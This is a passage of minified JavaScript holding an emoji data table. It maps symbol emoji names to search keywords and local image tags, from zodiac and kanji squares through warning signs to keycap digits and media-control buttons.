.05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2653" src="2653.png"/>',fitzpatrick_scale:!1,category:"symbols"},id:{keywords:["purple-square","words"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd94" src="1f194.png"/>',fitzpatrick_scale:!1,category:"symbols"},atom_symbol:{keywords:["science","physics","chemistry"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u269b" src="269b.png"/>',fitzpatrick_scale:!1,category:"symbols"},u7a7a:{keywords:["kanji","japanese","chinese","empty","sky","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude33" src="1f233.png"/>',fitzpatrick_scale:!1,category:"symbols"},u5272:{keywords:["cut","divide","chinese","kanji","pink-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude39" src="1f239.png"/>',fitzpatrick_scale:!1,category:"symbols"},radioactive:{keywords:["nuclear","danger"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2622" src="2622.png"/>',fitzpatrick_scale:!1,category:"symbols"},biohazard:{keywords:["danger"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2623" src="2623.png"/>',fitzpatrick_scale:!1,category:"symbols"},mobile_phone_off:{keywords:["mute","orange-square","silence","quiet"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf4" src="1f4f4.png"/>',fitzpatrick_scale:!1,category:"symbols"},vibration_mode:{keywords:["orange-square","phone"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf3" src="1f4f3.png"/>',fitzpatrick_scale:!1,category:"symbols"},u6709:{keywords:["orange-square","chinese","have","kanji"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude36" src="1f236.png"/>',fitzpatrick_scale:!1,category:"symbols"},u7121:{keywords:["nothing","chinese","kanji","japanese","orange-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude1a" src="1f21a.png"/>',fitzpatrick_scale:!1,category:"symbols"},u7533:{keywords:["chinese","japanese","kanji","orange-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude38" src="1f238.png"/>',fitzpatrick_scale:!1,category:"symbols"},u55b6:{keywords:["japanese","opening hours","orange-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude3a" src="1f23a.png"/>',fitzpatrick_scale:!1,category:"symbols"},u6708:{keywords:["chinese","month","moon","japanese","orange-square","kanji"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude37\ufe0f" src="1f237.png"/>',fitzpatrick_scale:!1,category:"symbols"},eight_pointed_black_star:{keywords:["orange-square","shape","polygon"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2734\ufe0f" src="2734.png"/>',fitzpatrick_scale:!1,category:"symbols"},vs:{keywords:["words","orange-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd9a" src="1f19a.png"/>',fitzpatrick_scale:!1,category:"symbols"},accept:{keywords:["ok","good","chinese","kanji","agree","yes","orange-circle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude51" src="1f251.png"/>',fitzpatrick_scale:!1,category:"symbols"},white_flower:{keywords:["japanese","spring"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcae" src="1f4ae.png"/>',fitzpatrick_scale:!1,category:"symbols"},ideograph_advantage:{keywords:["chinese","kanji","obtain","get","circle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude50" src="1f250.png"/>',fitzpatrick_scale:!1,category:"symbols"},secret:{keywords:["privacy","chinese","sshh","kanji","red-circle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u3299\ufe0f" src="3299.png"/>',fitzpatrick_scale:!1,category:"symbols"},congratulations:{keywords:["chinese","kanji","japanese","red-circle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u3297\ufe0f" src="3297.png"/>',fitzpatrick_scale:!1,category:"symbols"},u5408:{keywords:["japanese","chinese","join","kanji","red-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude34" src="1f234.png"/>',fitzpatrick_scale:!1,category:"symbols"},u6e80:{keywords:["full","chinese","japanese","red-square","kanji"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude35" src="1f235.png"/>',fitzpatrick_scale:!1,category:"symbols"},u7981:{keywords:["kanji","japanese","chinese","forbidden","limit","restricted","red-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude32" src="1f232.png"/>',fitzpatrick_scale:!1,category:"symbols"},a:{keywords:["red-square","alphabet","letter"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd70\ufe0f" src="1f170.png"/>',fitzpatrick_scale:!1,category:"symbols"},b:{keywords:["red-square","alphabet","letter"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd71\ufe0f" src="1f171.png"/>',fitzpatrick_scale:!1,category:"symbols"},ab:{keywords:["red-square","alphabet"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd8e" src="1f18e.png"/>',fitzpatrick_scale:!1,category:"symbols"},cl:{keywords:["alphabet","words","red-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd91" src="1f191.png"/>',fitzpatrick_scale:!1,category:"symbols"},o2:{keywords:["alphabet","red-square","letter"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd7e\ufe0f" src="1f17e.png"/>',fitzpatrick_scale:!1,category:"symbols"},sos:{keywords:["help","red-square","words","emergency","911"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd98" src="1f198.png"/>',fitzpatrick_scale:!1,category:"symbols"},no_entry:{keywords:["limit","security","privacy","bad","denied","stop","circle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26d4" src="26d4.png"/>',fitzpatrick_scale:!1,category:"symbols"},name_badge:{keywords:["fire","forbid"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcdb" src="1f4db.png"/>',fitzpatrick_scale:!1,category:"symbols"},no_entry_sign:{keywords:["forbid","stop","limit","denied","disallow","circle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeab" src="1f6ab.png"/>',fitzpatrick_scale:!1,category:"symbols"},x:{keywords:["no","delete","remove","cancel","red"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u274c" src="274c.png"/>',fitzpatrick_scale:!1,category:"symbols"},o:{keywords:["circle","round"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2b55" src="2b55.png"/>',fitzpatrick_scale:!1,category:"symbols"},stop_sign:{keywords:["stop"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uded1" src="1f6d1.png"/>',fitzpatrick_scale:!1,category:"symbols"},anger:{keywords:["angry","mad"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca2" src="1f4a2.png"/>',fitzpatrick_scale:!1,category:"symbols"},hotsprings:{keywords:["bath","warm","relax"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2668\ufe0f" src="2668.png"/>',fitzpatrick_scale:!1,category:"symbols"},no_pedestrians:{keywords:["rules","crossing","walking","circle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb7" src="1f6b7.png"/>',fitzpatrick_scale:!1,category:"symbols"},do_not_litter:{keywords:["trash","bin","garbage","circle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeaf" src="1f6af.png"/>',fitzpatrick_scale:!1,category:"symbols"},no_bicycles:{keywords:["cyclist","prohibited","circle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb3" src="1f6b3.png"/>',fitzpatrick_scale:!1,category:"symbols"},"non-potable_water":{keywords:["drink","faucet","tap","circle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb1" src="1f6b1.png"/>',fitzpatrick_scale:!1,category:"symbols"},underage:{keywords:["18","drink","pub","night","minor","circle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd1e" src="1f51e.png"/>',fitzpatrick_scale:!1,category:"symbols"},no_mobile_phones:{keywords:["iphone","mute","circle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf5" src="1f4f5.png"/>',fitzpatrick_scale:!1,category:"symbols"},exclamation:{keywords:["heavy_exclamation_mark","danger","surprise","punctuation","wow","warning"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2757" src="2757.png"/>',fitzpatrick_scale:!1,category:"symbols"},grey_exclamation:{keywords:["surprise","punctuation","gray","wow","warning"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2755" src="2755.png"/>',fitzpatrick_scale:!1,category:"symbols"},question:{keywords:["doubt","confused"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2753" src="2753.png"/>',fitzpatrick_scale:!1,category:"symbols"},grey_question:{keywords:["doubts","gray","huh","confused"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2754" src="2754.png"/>',fitzpatrick_scale:!1,category:"symbols"},bangbang:{keywords:["exclamation","surprise"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u203c\ufe0f" src="203c.png"/>',fitzpatrick_scale:!1,category:"symbols"},interrobang:{keywords:["wat","punctuation","surprise"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2049\ufe0f" src="2049.png"/>',fitzpatrick_scale:!1,category:"symbols"},low_brightness:{keywords:["sun","afternoon","warm","summer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd05" src="1f505.png"/>',fitzpatrick_scale:!1,category:"symbols"},high_brightness:{keywords:["sun","light"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd06" src="1f506.png"/>',fitzpatrick_scale:!1,category:"symbols"},trident:{keywords:["weapon","spear"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd31" src="1f531.png"/>',fitzpatrick_scale:!1,category:"symbols"},fleur_de_lis:{keywords:["decorative","scout"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u269c" src="269c.png"/>',fitzpatrick_scale:!1,category:"symbols"},part_alternation_mark:{keywords:["graph","presentation","stats","business","economics","bad"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u303d\ufe0f" src="303d.png"/>',fitzpatrick_scale:!1,category:"symbols"},warning:{keywords:["exclamation","wip","alert","error","problem","issue"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26a0\ufe0f" src="26a0.png"/>',fitzpatrick_scale:!1,category:"symbols"},children_crossing:{keywords:["school","warning","danger","sign","driving","yellow-diamond"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb8" src="1f6b8.png"/>',fitzpatrick_scale:!1,category:"symbols"},beginner:{keywords:["badge","shield"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd30" src="1f530.png"/>',fitzpatrick_scale:!1,category:"symbols"},recycle:{keywords:["arrow","environment","garbage","trash"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u267b\ufe0f" src="267b.png"/>',fitzpatrick_scale:!1,category:"symbols"},u6307:{keywords:["chinese","point","green-square","kanji"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude2f" src="1f22f.png"/>',fitzpatrick_scale:!1,category:"symbols"},chart:{keywords:["green-square","graph","presentation","stats"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb9" src="1f4b9.png"/>',fitzpatrick_scale:!1,category:"symbols"},sparkle:{keywords:["stars","green-square","awesome","good","fireworks"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2747\ufe0f" src="2747.png"/>',fitzpatrick_scale:!1,category:"symbols"},eight_spoked_asterisk:{keywords:["star","sparkle","green-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2733\ufe0f" src="2733.png"/>',fitzpatrick_scale:!1,category:"symbols"},negative_squared_cross_mark:{keywords:["x","green-square","no","deny"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u274e" src="274e.png"/>',fitzpatrick_scale:!1,category:"symbols"},white_check_mark:{keywords:["green-square","ok","agree","vote","election","answer","tick"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2705" src="2705.png"/>',fitzpatrick_scale:!1,category:"symbols"},diamond_shape_with_a_dot_inside:{keywords:["jewel","blue","gem","crystal","fancy"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca0" src="1f4a0.png"/>',fitzpatrick_scale:!1,category:"symbols"},cyclone:{keywords:["weather","swirl","blue","cloud","vortex","spiral","whirlpool","spin","tornado","hurricane","typhoon"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf00" src="1f300.png"/>',fitzpatrick_scale:!1,category:"symbols"},loop:{keywords:["tape","cassette"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u27bf" src="27bf.png"/>',fitzpatrick_scale:!1,category:"symbols"},globe_with_meridians:{keywords:["earth","international","world","internet","interweb","i18n"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf10" src="1f310.png"/>',fitzpatrick_scale:!1,category:"symbols"},m:{keywords:["alphabet","blue-circle","letter"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u24c2\ufe0f" src="24c2.png"/>',fitzpatrick_scale:!1,category:"symbols"},atm:{keywords:["money","sales","cash","blue-square","payment","bank"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe7" src="1f3e7.png"/>',fitzpatrick_scale:!1,category:"symbols"},sa:{keywords:["japanese","blue-square","katakana"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude02\ufe0f" src="1f202.png"/>',fitzpatrick_scale:!1,category:"symbols"},passport_control:{keywords:["custom","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udec2" src="1f6c2.png"/>',fitzpatrick_scale:!1,category:"symbols"},customs:{keywords:["passport","border","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udec3" src="1f6c3.png"/>',fitzpatrick_scale:!1,category:"symbols"},baggage_claim:{keywords:["blue-square","airport","transport"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udec4" src="1f6c4.png"/>',fitzpatrick_scale:!1,category:"symbols"},left_luggage:{keywords:["blue-square","travel"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udec5" src="1f6c5.png"/>',fitzpatrick_scale:!1,category:"symbols"},wheelchair:{keywords:["blue-square","disabled","a11y","accessibility"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u267f" src="267f.png"/>',fitzpatrick_scale:!1,category:"symbols"},no_smoking:{keywords:["cigarette","blue-square","smell","smoke"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udead" src="1f6ad.png"/>',fitzpatrick_scale:!1,category:"symbols"},wc:{keywords:["toilet","restroom","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udebe" src="1f6be.png"/>',fitzpatrick_scale:!1,category:"symbols"},parking:{keywords:["cars","blue-square","alphabet","letter"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd7f\ufe0f" src="1f17f.png"/>',fitzpatrick_scale:!1,category:"symbols"},potable_water:{keywords:["blue-square","liquid","restroom","cleaning","faucet"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb0" src="1f6b0.png"/>',fitzpatrick_scale:!1,category:"symbols"},mens:{keywords:["toilet","restroom","wc","blue-square","gender","male"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb9" src="1f6b9.png"/>',fitzpatrick_scale:!1,category:"symbols"},womens:{keywords:["purple-square","woman","female","toilet","loo","restroom","gender"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeba" src="1f6ba.png"/>',fitzpatrick_scale:!1,category:"symbols"},baby_symbol:{keywords:["orange-square","child"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udebc" src="1f6bc.png"/>',fitzpatrick_scale:!1,category:"symbols"},restroom:{keywords:["blue-square","toilet","refresh","wc","gender"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udebb" src="1f6bb.png"/>',fitzpatrick_scale:!1,category:"symbols"},put_litter_in_its_place:{keywords:["blue-square","sign","human","info"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeae" src="1f6ae.png"/>',fitzpatrick_scale:!1,category:"symbols"},cinema:{keywords:["blue-square","record","film","movie","curtain","stage","theater"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa6" src="1f3a6.png"/>',fitzpatrick_scale:!1,category:"symbols"},signal_strength:{keywords:["blue-square","reception","phone","internet","connection","wifi","bluetooth","bars"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf6" src="1f4f6.png"/>',fitzpatrick_scale:!1,category:"symbols"},koko:{keywords:["blue-square","here","katakana","japanese","destination"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude01" src="1f201.png"/>',fitzpatrick_scale:!1,category:"symbols"},ng:{keywords:["blue-square","words","shape","icon"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd96" src="1f196.png"/>',fitzpatrick_scale:!1,category:"symbols"},ok:{keywords:["good","agree","yes","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd97" src="1f197.png"/>',fitzpatrick_scale:!1,category:"symbols"},up:{keywords:["blue-square","above","high"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd99" src="1f199.png"/>',fitzpatrick_scale:!1,category:"symbols"},cool:{keywords:["words","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd92" src="1f192.png"/>',fitzpatrick_scale:!1,category:"symbols"},new:{keywords:["blue-square","words","start"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd95" src="1f195.png"/>',fitzpatrick_scale:!1,category:"symbols"},free:{keywords:["blue-square","words"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd93" src="1f193.png"/>',fitzpatrick_scale:!1,category:"symbols"},zero:{keywords:["0","numbers","blue-square","null"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="0\ufe0f\u20e3" src="30-20e3.png"/>',fitzpatrick_scale:!1,category:"symbols"},one:{keywords:["blue-square","numbers","1"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="1\ufe0f\u20e3" src="31-20e3.png"/>',fitzpatrick_scale:!1,category:"symbols"},two:{keywords:["numbers","2","prime","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="2\ufe0f\u20e3" src="32-20e3.png"/>',fitzpatrick_scale:!1,category:"symbols"},three:{keywords:["3","numbers","prime","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="3\ufe0f\u20e3" src="33-20e3.png"/>',fitzpatrick_scale:!1,category:"symbols"},four:{keywords:["4","numbers","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="4\ufe0f\u20e3" src="34-20e3.png"/>',fitzpatrick_scale:!1,category:"symbols"},five:{keywords:["5","numbers","blue-square","prime"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="5\ufe0f\u20e3" src="35-20e3.png"/>',fitzpatrick_scale:!1,category:"symbols"},six:{keywords:["6","numbers","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="6\ufe0f\u20e3" src="36-20e3.png"/>',fitzpatrick_scale:!1,category:"symbols"},seven:{keywords:["7","numbers","blue-square","prime"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="7\ufe0f\u20e3" src="37-20e3.png"/>',fitzpatrick_scale:!1,category:"symbols"},eight:{keywords:["8","blue-square","numbers"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="8\ufe0f\u20e3" src="38-20e3.png"/>',fitzpatrick_scale:!1,category:"symbols"},nine:{keywords:["blue-square","numbers","9"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="9\ufe0f\u20e3" src="39-20e3.png"/>',fitzpatrick_scale:!1,category:"symbols"},keycap_ten:{keywords:["numbers","10","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd1f" src="1f51f.png"/>',fitzpatrick_scale:!1,category:"symbols"},asterisk:{keywords:["star","keycap"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="*\u20e3" src="2a-20e3.png"/>',fitzpatrick_scale:!1,category:"symbols"},eject_button:{keywords:["blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23cf\ufe0f" src="23cf.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_forward:{keywords:["blue-square","right","direction","play"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u25b6\ufe0f" src="25b6.png"/>',fitzpatrick_scale:!1,category:"symbols"},pause_button:{keywords:["pause","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23f8" src="23f8.png"/>',fitzpatrick_scale:!1,category:"symbols"},next_track_button:{keywords:["forward","next","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23ed" src="23ed.png"/>',fitzpatrick_scale:!1,category:"symbols"},stop_button:{keywords:["blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23f9" src="23f9.png"/>',fitzpatrick_scale:!1,category:"symbols"},record_button:{keywords:["blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23fa" src="23fa.png"/>',fitzpatrick_scale:!1,category:"symbols"},play_or_pause_button:{keywords:["blue-square","play","pause"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23ef" src="23ef.png"/>',fitzpatrick_scale:!1,category:"symbols"},previous_track_button:{keywords:["backward"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23ee" src="23ee.png"/>',fitzpatrick_scale:!1,category:"symbols"},fast_forward:{keywords:["blue-square","play","speed","continue"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23e9" 